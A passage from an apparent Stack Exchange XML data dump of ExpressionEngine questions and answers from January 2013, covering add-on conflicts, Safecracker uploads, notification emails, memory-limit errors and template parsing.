to retrieve the&#xA;| URI string.  The default setting of &quot;AUTO&quot; works for most servers.&#xA;| If your links do not seem to work, try one of the other delicious flavors:&#xA;|&#xA;| 'AUTO'            Default - auto detects&#xA;| 'PATH_INFO'       Uses the PATH_INFO&#xA;| 'QUERY_STRING'    Uses the QUERY_STRING&#xA;| 'REQUEST_URI'     Uses the REQUEST_URI&#xA;| 'ORIG_PATH_INFO'  Uses the ORIG_PATH_INFO&#xA;|&#xA;*/&#xA;$config['uri_protocol'] = 'AUTO';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="199" LastActivityDate="2013-01-17T16:02:02.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4976" PostTypeId="2" ParentId="4902" CreationDate="2013-01-17T16:24:39.157" Score="2" Body="&lt;p&gt;It turns out this was essentially an issue with how the inline preview function in BetterWorkflow functions. I just finished a screen share session with Rob Hodges and the way we resolved the errors was by changing conditional tests on Assets fields from:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if ov_product_logo_image}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if '{ov_product_logo_image}' != ''}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't know all the details but I'll let Rob comment on the details if he chooses to do so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for the help everyone!&lt;/p&gt;&#xA;" OwnerUserId="2" LastActivityDate="2013-01-17T16:24:39.157" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4977" PostTypeId="1" AcceptedAnswerId="7164" CreationDate="2013-01-17T16:31:17.627" Score="2" ViewCount="231" Body="&lt;p&gt;Is there a already a plug-in out there that will auto-magically check all content for double spaces after a period and force double spacing if not there? I know there are some out there like Low's find and replace. I was just hoping for an automated &quot;drop in&quot; type of work without the need to add tags to all the templates. Reason being, there are 973 templates in this inherited build.   :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is in the process of a redesign/rebuild, but that is still some time out and this is a &quot;need&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="3139" LastActivityDate="2013-03-08T16:02:22.163" Title="Automatic double spacing" Tags="|ee1|plugin|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4978" PostTypeId="1" CreationDate="2013-01-17T16:33:18.387" Score="1" ViewCount="143" Body="&lt;p&gt;My new member notifications are not being sent even though I have my email and notifications set to YES in the member prefs.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I CAN send emails through tools &gt; communicate so I know email works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using USER from solspace.  I also tried MX Notify Control but that doesn't work either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My new members have no activations required but I still want to be notified.  What am I missing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE ver 2.5.5 &#xA;User 3.4.0&lt;/p&gt;&#xA;" OwnerUserId="451" LastActivityDate="2013-01-17T17:53:33.480" Title="no notifications being sent" Tags="|members|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4979" PostTypeId="2" ParentId="4974" CreationDate="2013-01-17T16:35:47.577" Score="0" Body="&lt;p&gt;The &lt;code&gt;join_date&lt;/code&gt; in ExpressionEngine is generally formatted as a UNIX timestamp and looks something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;field     type length value&#xA;join_date  INT  10    1118111578&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It looks like your date is being converted to a human readable format on export, but you need to keep it as a UNIX Timestamp, for it to get stored properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't say, how much trouble maybe caused by the lack of a join_date or a join_date of 0. Anything that uses the &lt;code&gt;join_date&lt;/code&gt; to calculate or display would be boinked, but in our installs, the join_date isn't used that much. Just to look-up when we added someone, if the were giving control panel access. So someone else would need to chime in on that component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe &lt;a href=&quot;http://devot-ee.com/add-ons/export-it&quot; rel=&quot;nofollow&quot;&gt;Export It&lt;/a&gt; was designed to make your export Excel compatible, which is different from exporting data and re-importing it back into EE.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2013-01-17T16:35:47.577" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4980" PostTypeId="1" CreationDate="2013-01-17T16:40:17.953" Score="1" ViewCount="317" Body="&lt;p&gt;I am using EE 2.5.3 with Safecracker File fieldtype 2.1 and Matrix 2.5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am having problems with a Safecracker form which has a matrix field containing a safecracker file upload field. I am using display inline for error messages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) If I upload an invalid file, no error message is triggered and the form submits. &#xA;e.g. When I upload a non image file to an image only location, the form submits without error but the non image file is not uploaded.&#xA;e.g. When I upload an image larger than the max dimensions set, the form submits without error and the image is actually uploaded despite being larger than allowed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) If the form is submit with an error with another field in the form, the inline errors display and the other field values persist as expected but the safecracker file fields in the matrix just say Array and the files are lost.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I just use a single Safecracker file field outside of Matrix, I do not have either of these problems, so it definitely seems to be Matrix related.&#xA;I am posting here because I understand this is now the primary support channel for Pixel and Tonic.&lt;/p&gt;&#xA;" OwnerUserId="191" LastActivityDate="2013-01-17T16:40:17.953" Title="Problems with SafeCracker File field within Matrix" Tags="|safecracker|matrix|error|file-uploads|safecracker-file|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4981" PostTypeId="1" AcceptedAnswerId="5152" CreationDate="2013-01-17T16:44:30.140" Score="1" ViewCount="202" Body="&lt;p&gt;Assets 2.0.1, EE 2.5.3, BWF 1.5.1, Matrix 2.5.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When previewing changes to a Better Workflow managed entry, after closing the preview window the page is refreshed. Assets thumbnails are not refreshed with the rest of the page when inside a matrix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Asset image thumbnails in standalone fields &lt;em&gt;are&lt;/em&gt; refreshed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before preview:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/2rEry.png&quot; alt=&quot;asset images before preview&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After preview:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/vC68P.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2" LastActivityDate="2013-01-31T20:07:37.197" Title="Asset Thumbs disappear after Better Workflow Preview" Tags="|matrix|assets|better-workflow|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4982" PostTypeId="1" AcceptedAnswerId="4983" CreationDate="2013-01-17T17:06:48.470" Score="3" ViewCount="1272" Body="&lt;p&gt;Need to have users upload images on front-end via Safecracker but they need to be a specific width and height - otherwise could just limit the width - so really is going to need some cropping functionality.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone done this? Add-ons? Is it possible?&lt;/p&gt;&#xA;" OwnerUserId="2748" LastEditorUserId="268" LastEditDate="2013-01-21T08:42:57.180" LastActivityDate="2013-01-21T08:42:57.180" Title="How to get cropping functionality on front-end image upload?" Tags="|image|crop|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4983" PostTypeId="2" ParentId="4982" CreationDate="2013-01-17T17:12:42.773" Score="7" Body="&lt;p&gt;Have you looked at CE_img (http://devot-ee.com/add-ons/ce-image) ? It doesn't allow the uploader to crop the image but you can apply some parameters to crop and specify whether you crop from the centre, edge etc. It also lets you resize and apply effects to the images as well as caching them. On the whole it's very useful.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-01-17T17:12:42.773" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4984" PostTypeId="1" CreationDate="2013-01-17T17:19:36.807" Score="2" ViewCount="297" Body="&lt;p&gt;I've tried this a couple of different ways with no success.  I can hardcode the &quot;to&quot; line for the customer email notification and it works fine. But if i try to use a variable - like the customer's user-entered email address - no notification is received.  In CartTrhib's order settings, I have the &quot;Customer Email&quot; field mapped to my custom field in my orders channel.  It's being captured and shows correctly within the email notification itself.  But I don't seem to be able to use it in the &quot;to&quot; field for the email notification's settings.  Are custom fields - even a mapped one like customer email - not available to use?&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-01-17T23:13:14.030" Title="May custom fields be used for CartThrob email notification To and From fields?" Tags="|cartthrob|email|notification|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4985" PostTypeId="2" ParentId="4981" CreationDate="2013-01-17T17:23:53.813" Score="0" Body="&lt;p&gt;There is a known conflict between assets and better workflow that their developers have been aware of for some time.  Hopefully, it will be resolved soon!&lt;/p&gt;&#xA;" OwnerUserId="719" LastActivityDate="2013-01-17T17:23:53.813" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4986" PostTypeId="2" ParentId="4981" CreationDate="2013-01-17T17:32:03.623" Score="1" Body="&lt;p&gt;I've been working on a similar issue this week for my Pic Puller fieldtype. Some of what I've been doing might help you out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure how Assets generates its thumbnails, but if its accomplished via JS like I do them with my fieldtype, it may be the same issue I had.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After previewing with BWF my fields within a Matrix had lost their JS functions so no previews were generated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I ended up altering the Pic Puller fieldtype's JS to listen for the &quot;previewClose&quot; event that BWF broadcasts when it closes it's preview pane and generating the preview images that way. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The callback is here in the Better Workflow docs, look here: &lt;a href=&quot;http://betterworkflow.electricputty.co.uk/api/#advanced-callbacks&quot; rel=&quot;nofollow&quot;&gt;http://betterworkflow.electricputty.co.uk/api/#advanced-callbacks&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does that get you closer to a solution?&lt;/p&gt;&#xA;" OwnerUserId="105" LastActivityDate="2013-01-17T17:32:03.623" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4987" PostTypeId="2" ParentId="4977" CreationDate="2013-01-17T17:36:59.793" Score="5" Body="&lt;p&gt;Unfortunately, and I use that statement loosely, I don't believe so. In fact, some of the WYSIWYG editors may even remove double spacing after a period. Why? Because, technically speaking its bad practice. Everyone who follows or attempts to follow the standard rules of typography, &lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/0321127307&quot; rel=&quot;nofollow noreferrer&quot;&gt;The Complete Manual of Typography: A Guide to Setting Perfect Type&lt;/a&gt; by James Felici) will point perhaps call it 'wrong'. But, historically, there are or were a number of reasons for the double space after period. But for the last 50-60 years that hasn't been true.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Double space after a period is works great with typewriters, because of monospacing. It's not a a good guideline for print and digital content. You just make more work for anyone who needs to parse and clean your data in the future. We clean a lot of data and our first step is:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Step 1: Remove all erroneous extra spacing. This process removes&#xA;  double spaces after periods, tab-spaces (actual tab then space, like&#xA;  \t.. (the tab is a predefined space, random double or triple spaces&#xA;  between words and paragraphs, etc.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I could go all parseable text-Nazi on you, but I'll just say, when you are creating content that may need to be digital reused in different ways, including potentially switching content management systems sometime in the future, it's best not to have formatting that could hinder portability. Both HTML and XML have whitespace folding rules, which double spaces after periods can break.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, if your client is insistent that double-spacing after a period is required, I can see two possible options:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;strong&gt;Building your own Type Toolbar.&lt;/strong&gt; You could probably modify CKEditor and force the issue of double spacing, or&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Modify CSS.&lt;/strong&gt; It's probably possible to modify your CSS file so that a period space, resembles a double space, thereby keeping cleaner typographer, but still satisfying the clients visual requirements. I'm not certain if you can directly target the '.', but if not maybe &lt;code&gt;&amp;amp;ensp;&lt;/code&gt; and &lt;code&gt;&amp;amp;emsp;&lt;/code&gt; spacing.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;There was an interesting conversation of &lt;a href=&quot;https://stackoverflow.com/questions/1972887/sentence-spacing&quot;&gt;Stackoverflow&lt;/a&gt; regarding a similar topic, a project requiring double spacing. It mentions the possibility of adding &lt;code&gt;&amp;lt;span&amp;gt;&lt;/code&gt; to your sentences or &lt;code&gt;.&amp;amp;nbsp;&lt;/code&gt; (period-nonbreaking space-space).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Eric Meyer, quoted from a &lt;a href=&quot;http://archivist.incutio.com/viewlist/css-discuss/80631&quot; rel=&quot;nofollow noreferrer&quot;&gt;2006 list serve email&lt;/a&gt;, argues that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;p {white-space: pre-wrap;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;could work as a solution. Practically everything suggested is pretty much a hack, since its not standardly supported, anywhere that I know of. Your own toolbar editor would probably give you the best implementation and control over this. I'd assume you would just need to modify one of the javascript files in CKEditor, to change &lt;code&gt;. space&lt;/code&gt; to &lt;code&gt;. &amp;amp;emsp;&lt;/code&gt; which would give you the two space look, but still retain a single space for future proofing, word wrapping, alignment issues, etc.&lt;/p&gt;&#xA;" OwnerUserId="252" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2013-01-17T17:36:59.793" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4988" PostTypeId="2" ParentId="4984" CreationDate="2013-01-17T17:38:45.847" Score="1" Body="&lt;p&gt;I seem to have discovered the answer with my trial and error.  What's not clear in the docs is that the variable {customer_email} is in fact a global variable that gets its content from the mapping of the Customer Email field, no matter what the custom field is called in your orders channel.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-01-17T17:38:45.847" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="4989" PostTypeId="2" ParentId="4978" CreationDate="2013-01-17T17:53:33.480" Score="2" Body="&lt;p&gt;so the notifications all came through, about 2 hours after they were submitted!!!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was using the built in EE notifications of new members (not profile update)&lt;/p&gt;&#xA;" OwnerUserId="451" LastActivityDate="2013-01-17T17:53:33.480" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4990" PostTypeId="1" AcceptedAnswerId="5006" CreationDate="2013-01-17T17:55:51.693" Score="3" ViewCount="117" Body="&lt;p&gt;We are currently running EE 2.5.2 and using the Discussion Forum Module (3.1.8). We have several users who report that they are logged out even when they have checked the 'keep logged in' option. We've triple checked our cookie settings and verified the cookie domain is correct and that the 'keep logged in' option has a cookie with an expiration date set to a year from the log in date. Our user sessions are currently at the default 2 hours, so we are NOT using the 'user_session_ttl' hidden variable. We also have the User Session Type set to 'Cookies Only' in the 'Security and Session Preferences', so I assume any of the session stuff shouldn't matter. All of our cookies to set to the full domain 'www.macobserver.com' and I have not yet tried setting the cookie domain setting in EE as it doesn't seem like we should have to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My questions are:&#xA;1) Are there know issues with cookie logins and the Discussion Forum Module?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Should I set the Cookie domain setting anyway even though it's seems like it should be required?&lt;/p&gt;&#xA;" OwnerUserId="384" LastActivityDate="2013-01-17T21:10:18.843" Title="Forum users report being logged out even after checking 'keep logged in'" Tags="|login|forum|sessions|cookies|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4991" PostTypeId="2" ParentId="4766" CreationDate="2013-01-17T18:00:20.000" Score="1" Body="&lt;p&gt;It turns out that when I logged in and created the same form - it worked. When Tim put it into his own template, it worked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in this case the answer is: gremlins. His code should have worked. Possibly an invisible character, or we both missed seeing a curly quote somewhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But this appears to be working now!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Lisa&lt;/p&gt;&#xA;" OwnerUserId="563" LastActivityDate="2013-01-17T18:00:20.000" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4992" PostTypeId="2" ParentId="4990" CreationDate="2013-01-17T18:13:45.543" Score="0" Body="&lt;p&gt;This could potentially be the issue:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/forums/viewthread/224902&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/forums/viewthread/224902&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="117" LastActivityDate="2013-01-17T18:13:45.543" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4993" PostTypeId="1" AcceptedAnswerId="4996" CreationDate="2013-01-17T18:27:39.437" Score="1" ViewCount="637" Body="&lt;p&gt;My site's server logs show a repeating memory limit error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;[17-Jan-2013 17:26:01 UTC] PHP Fatal error:  Allowed memory size of 134217728 bytes exhausted (tried to allocate 523800 bytes) in /path/to/my/system/expressionengine/libraries/Template.php on line 894&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;As you can see, the server's memory limit is already set to 128 MB, so whatever template is causing this appears to be &lt;em&gt;massive&lt;/em&gt;. Trouble is, I can't locate the problem template. Every page on my site is running well below 128 MB. Also, I haven't seen this PHP error anywhere on the front-end during development, and I assume it would appear if I tried to load the problem template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone had this issue before? Is there a quirk or bug I'm not aware of that I should look for?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE 2.5.5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;br&gt;&#xA;Line 894 in this file is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;process_tags(); // Run the class/method handler&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5" LastEditorUserId="28" LastEditDate="2013-01-17T20:19:27.343" LastActivityDate="2013-01-17T20:52:07.480" Title="Can't Find Problem Template for Allowed Memory Size Exhausted Error" Tags="|templates|php-errors|memory-limit|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4994" PostTypeId="2" ParentId="4836" CreationDate="2013-01-17T18:29:18.063" Score="0" Body="&lt;p&gt;I am currently running EE 2.5.4 and I just upgraded to Assets 2. The upgrade went smoothly and is operational.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can view my files in both thumbnails modes (small and big) but I have an error showing up when I try to view files in a list.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    load-&amp;gt;view('listview/files'); ?&amp;gt;        &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Screenshot:&lt;/strong&gt; &lt;a href=&quot;https://i.stack.imgur.com/tAzHz.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://i.stack.imgur.com/tAzHz.png&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="838" LastActivityDate="2013-01-17T18:29:18.063" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4995" PostTypeId="2" ParentId="4960" CreationDate="2013-01-17T18:32:45.303" Score="3" Body="&lt;p&gt;The original problem arises from the way that module tags are parsed by EE, from the outwards in. The outer layer of tags is parsed, then the next layer underneath, and so on: much like peeling an onion. In your case the &lt;code&gt;{exp:channel:entries}&lt;/code&gt; tag and the &lt;code&gt;{exp:stash:get}&lt;/code&gt; tag are on the outer layer, while the &lt;code&gt;{exp:stash:set}&lt;/code&gt; is on the inner layer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You tried to solve this, correctly, using process=&quot;end&quot; parameter when you get the variable - but you saw a random string output. In this case it's NOT the famous &lt;a href=&quot;http://blog.ericlamb.net/2011/05/expressionengine-and-the-mystery-of-m00o93h7pq09l8x1t49chy01z5j4tt91fgfr/&quot; rel=&quot;nofollow&quot;&gt;M00..&lt;/a&gt; string used as a cache placeholder by ExpressionEngine. Instead that string is a placeholder generated by Stash used to mark a position in the template for a variable; it gets replaced at the end of template processing by an extension triggered by the template_post_parse hook. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, &lt;strong&gt;if you don't have the Stash extension installed&lt;/strong&gt; then the placeholder never gets replaced and you see that string. So you simply need to install the extension :)&lt;/p&gt;&#xA;" OwnerUserId="289" LastEditorUserId="289" LastEditDate="2013-01-17T18:41:06.643" LastActivityDate="2013-01-17T18:41:06.643" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4996" PostTypeId="2" ParentId="4993" CreationDate="2013-01-17T18:56:59.243" Score="1" Body="&lt;p&gt;The way I'd track this backwards is to look at access logs and match the line to the [17-Jan-2013 17:26:01 UTC] date/time. That should give you the URL accessed so you'll know which template is causing the problem.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might also try refreshing the log file as you navigate the site. Load a page, then refresh the log... if the error is triggered and is showing in the logs, you know you've hit the problem template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also install the &lt;a href=&quot;http://devot-ee.com/add-ons/ee-debug-toolbar&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;EE Debug Toolbar&lt;/strong&gt;&lt;/a&gt; so you can see page memory usage as you navigate the site.&lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2013-01-17T20:52:07.480" LastActivityDate="2013-01-17T20:52:07.480" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="4997" PostTypeId="1" AcceptedAnswerId="5011" CreationDate="2013-01-17T19:04:02.813" Score="1" ViewCount="217" Body="&lt;p&gt;I am looking for a way to e-mail entry authors on a status change of their entry when changed using safecracker. Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I ran across MX Notify Control but that will not allow me to specify the entry author as the recipient to be notified.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="386" LastActivityDate="2013-01-17T23:00:59.360" Title="E-mail users on status change" Tags="|add-on|email|status|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4998" PostTypeId="2" ParentId="4982" CreationDate="2013-01-17T19:10:09.883" Score="2" Body="&lt;p&gt;I have done this previously using Safecracker Dev Demon's Channel Images, &lt;a href=&quot;http://www.devdemon.com/channel_images/&quot; rel=&quot;nofollow&quot;&gt;http://www.devdemon.com/channel_images/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a bonus the GUI Channel Images uses is very nice and allows multiple uploads and upload progress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just my 2 cents.&lt;/p&gt;&#xA;" OwnerUserId="386" LastActivityDate="2013-01-17T19:10:09.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4999" PostTypeId="2" ParentId="4993" CreationDate="2013-01-17T19:23:26.130" Score="3" Body="&lt;p&gt;I agree with @Anna_MediaGirl cross check you error logs with your access logs to see if you can identify the offending template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should note that some templates, let's say if you have a template using 'tags', can behave perfectly normal for regular use, but if a crawling bot hits them, may produce memory errors. This is because the bot keeps adding more and more tags, which a user probably wouldn't do. So the template may go from&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://mydomain.org/tags/tag/memory&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://mydomain.org/tags/tag/memory,php,error,user,etc.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We had to put in .htaccess blocks to this from happening, since the bots also didn't follow our robot.txt rules and not index the /tags/ area in the first place.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2013-01-17T19:23:26.130" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5000" PostTypeId="1" AcceptedAnswerId="5190" CreationDate="2013-01-17T19:30:10.547" Score="1" ViewCount="278" Body="&lt;p&gt;I have an issue where I upload an image through WYGWAM 2.6.3, then using Assets 2.0.1 as a file browser, and when I view the Source it has the IMG tag in there.  I save / submit the entry, but when I view it on the live published site it has the IMG tag stripped out leaving just the URL as plain text.  There isn't any parameters to my WYGWAM custom field tag and it's just the name of the field.  The text formatting around the image shows up, it's just the IMG tag that doesn't.  Odd.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure what's going on.  Any help?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assets 2.0.1, WYGWAM 2.6.3, EE 2.5.5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDITS:&lt;/strong&gt; &lt;em&gt;Process&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a WYGWAM field set to Brandon's original &quot;Basic&quot; configuration.  WYGWAM 2.6.3, Assets 2.0.1 are being used.  &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I load the entry, click in the field to where I want to insert the image&lt;/li&gt;&#xA;&lt;li&gt;Click the little picture icon, it loads Assets, I choose to upload a new image &lt;/li&gt;&#xA;&lt;li&gt;I upload it &lt;/li&gt;&#xA;&lt;li&gt;Choose the file in Assets, it inserts my uploaded image.  &lt;/li&gt;&#xA;&lt;li&gt;Next I view the source and I see the IMG tag with the SRC to a URL (that image path does load an image by itself).  &lt;/li&gt;&#xA;&lt;li&gt;I go and view the entry on my page and it just has the URL as plain text, tags are gone.  &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Those are my steps.&lt;/p&gt;&#xA;" OwnerUserId="839" LastEditorUserId="839" LastEditDate="2013-01-17T22:43:18.777" LastActivityDate="2013-01-22T03:47:00.513" Title="WYGWAM 2.6.3 and Image URL tags" Tags="|assets|wygwam|" AnswerCount="1" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="5001" PostTypeId="2" ParentId="2314" CreationDate="2013-01-17T19:54:52.617" Score="1" Body="&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;your-channel&quot;}&#xA;    {exp:store:checkout entry_id=&quot;{entry_id}&quot;}&#xA;        {items}&#xA;            {modifiers}&#xA;                {modifier_name}: {modifier_value}&#xA;            {/modifiers}&#xA;        {/items}&#xA;    {/exp:store:checkout}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will give you the results you are looking for on the subsequent page.&lt;/p&gt;&#xA;" OwnerUserId="840" LastActivityDate="2013-01-17T19:54:52.617" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5002" PostTypeId="1" CreationDate="2013-01-17T20:05:54.363" Score="0" ViewCount="69" Body="&lt;p&gt;Is it possible to choose which channel a safecracker form should post to if you leave the safecracker's channel to =&quot;&quot; and then having a radio selection of the channel_id's??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;is this even possible?&lt;/p&gt;&#xA;" OwnerUserId="761" LastActivityDate="2013-01-17T22:04:49.643" Title="Safecracker Channel selection from radio selection" Tags="|safecracker|forms|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5003" PostTypeId="1" AcceptedAnswerId="5116" CreationDate="2013-01-17T20:51:37.807" Score="1" ViewCount="176" Body="&lt;p&gt;EE 2.5.3, Matrix 2.5.2, Wygwam 2.6.3&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;When a Wygwam cell is part of a Matrix and that row is dragged and dropped into a new order, everything is fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if you use the &quot;Move to top&quot; (or bottom) feature from the cell options dialog, the field moves and the Wygwam content is cleared.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/M78Am.png&quot; alt=&quot;dialog&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before moving:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/6ZMXu.png&quot; alt=&quot;before&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After moving:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Kr6mR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2" LastActivityDate="2014-02-06T17:09:07.057" Title="Matrix &quot;Move to top/bottom&quot; feature erases content from Wygwam Field" Tags="|matrix|wygwam|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 